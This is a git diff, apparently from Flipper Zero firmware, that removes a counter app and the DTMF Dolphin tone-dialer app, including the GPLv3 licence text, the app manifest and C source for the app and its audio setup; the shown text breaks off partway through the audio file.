canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5); - canvas_draw_rframe( - canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5); - canvas_draw_rframe( - canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5); - c->pressed = false; - c->boxtimer--; - } else { - canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5); - } - snprintf(scount, sizeof(scount), "%d", c->count); - canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount); - furi_mutex_release(c->mutex); -} - -Counter* state_init() { - Counter* c = malloc(sizeof(Counter)); - c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - c->view_port = view_port_alloc(); - c->gui = furi_record_open(RECORD_GUI); - c->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - c->count = 0; - c->boxtimer = 0; - view_port_input_callback_set(c->view_port, input_callback, c); - view_port_draw_callback_set(c->view_port, render_callback, c); - gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen); - return c; -} - -int32_t counterapp(void) { - Counter* c = state_init(); - - while(1) { - InputEvent input; - while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) { - furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk); - - if(input.key == InputKeyBack) { - furi_mutex_release(c->mutex); - state_free(c); - return 0; - } else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) { - c->pressed = true; - c->boxtimer = BOXTIME; - c->count++; - } else if(input.key == InputKeyDown && c->count != 0) { - c->pressed = true; - c->boxtimer = BOXTIME; - c->count--; - } - furi_mutex_release(c->mutex); - view_port_update(c->view_port); - } - } - state_free(c); - return 0; -} diff --git a/applications/external/counter/icons/counter_icon.png b/applications/external/counter/icons/counter_icon.png deleted file mode 100644 index 47efe68db82b1e6031d6fa1da1cb56a9cf6fc512..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 182 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2ZGmxy8xzq=wqyv0HT>t(52W0;H2c&@rMEr*k z|Nm#4KdwH0elA5}B79C4k)W&m2bx~6z&mzC2a;-dl4zY(Ap3mm6|Ln9-9B3GW Mr>mdKI;Vst00eG9hX4Qo diff --git a/applications/external/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/dtmf_dolphin/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam deleted file mode 100644 index 11a72df12..000000000 --- a/applications/external/dtmf_dolphin/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="dtmf_dolphin", - name="DTMF Dolphin", - apptype=FlipperAppType.EXTERNAL, - entry_point="dtmf_dolphin_app", - requires=[ - "storage", - "gui", - "dialogs", - ], - fap_icon="phone.png", - stack_size=8 * 1024, - fap_category="Tools", - fap_author="@litui & @xMasterX", - fap_version="1.1", - fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.", -) diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c deleted file mode 100644 index c1b10defa..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin.c +++ /dev/null @@ -1,89 +0,0 @@ -#include "dtmf_dolphin_i.h" - -#include -#include - -static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - DTMFDolphinApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool dtmf_dolphin_app_back_event_callback(void* context) { - furi_assert(context); - DTMFDolphinApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void dtmf_dolphin_app_tick_event_callback(void* context) { - furi_assert(context); - DTMFDolphinApp* app = context; - - scene_manager_handle_tick_event(app->scene_manager); -} - -static DTMFDolphinApp* app_alloc() { - DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp)); - - app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, dtmf_dolphin_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, dtmf_dolphin_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->main_menu_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DTMFDolphinViewMainMenu, - variable_item_list_get_view(app->main_menu_list)); - - app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DTMFDolphinViewDialer, - dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer)); - - app->notification = furi_record_open(RECORD_NOTIFICATION); - notification_message(app->notification, &sequence_display_backlight_enforce_on); - - scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart); - - return app; -} - -static void app_free(DTMFDolphinApp* app) { - furi_assert(app); - view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu); - view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer); - variable_item_list_free(app->main_menu_list); - - dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer); - - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - notification_message(app->notification, &sequence_display_backlight_enforce_auto); - - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - free(app); -} - -int32_t dtmf_dolphin_app(void* p) { - UNUSED(p); - DTMFDolphinApp* app = app_alloc(); - - view_dispatcher_run(app->view_dispatcher); - - app_free(app); - return 0; -} \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c deleted file mode 100644 index 66d17bc2e..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c +++ /dev/null @@ -1,270 +0,0 @@ -#include "dtmf_dolphin_audio.h" - -DTMFDolphinAudio* current_player; - -static void dtmf_dolphin_audio_dma_isr(void* ctx) { - FuriMessageQueue* event_queue = ctx; - - if(LL_DMA_IsActiveFlag_HT1(DMA1)) { - LL_DMA_ClearFlag_HT1(DMA1); - - DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } - - if(LL_DMA_IsActiveFlag_TC1(DMA1)) { - LL_DMA_ClearFlag_TC1(DMA1); - - DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer}; - furi_message_queue_put(event_queue, &event, 0); - } -} - -void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) { - for(size_t i = 0; i < player->buffer_length; i++) { - player->sample_buffer[i] = 0; - } -} - -DTMFDolphinOsc* dtmf_dolphin_osc_alloc() { - DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc)); - osc->cached_freq = 0; - osc->offset = 0; - osc->period = 0; - osc->lookup_table = NULL; - return osc; -} - -DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() { - DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter)); - pf->duration = 0; - pf->period = 0; - pf->offset = 0; - pf->lookup_table = NULL; - return pf; -} - -DTMFDolphinAudio* dtmf_dolphin_audio_alloc() { - DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio)); - player->buffer_length = SAMPLE_BUFFER_LENGTH; - player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2; - player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length); - player->osc1 = dtmf_dolphin_osc_alloc(); - player->osc2 = dtmf_dolphin_osc_alloc(); - player->volume = 1.0f; - player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent)); - player->filter = dtmf_dolphin_pulse_filter_alloc(); - player->playing = false; - dtmf_dolphin_audio_clear_samples(player); - - return player; -} - -size_t calc_waveform_period(float freq) { - if(!freq) { 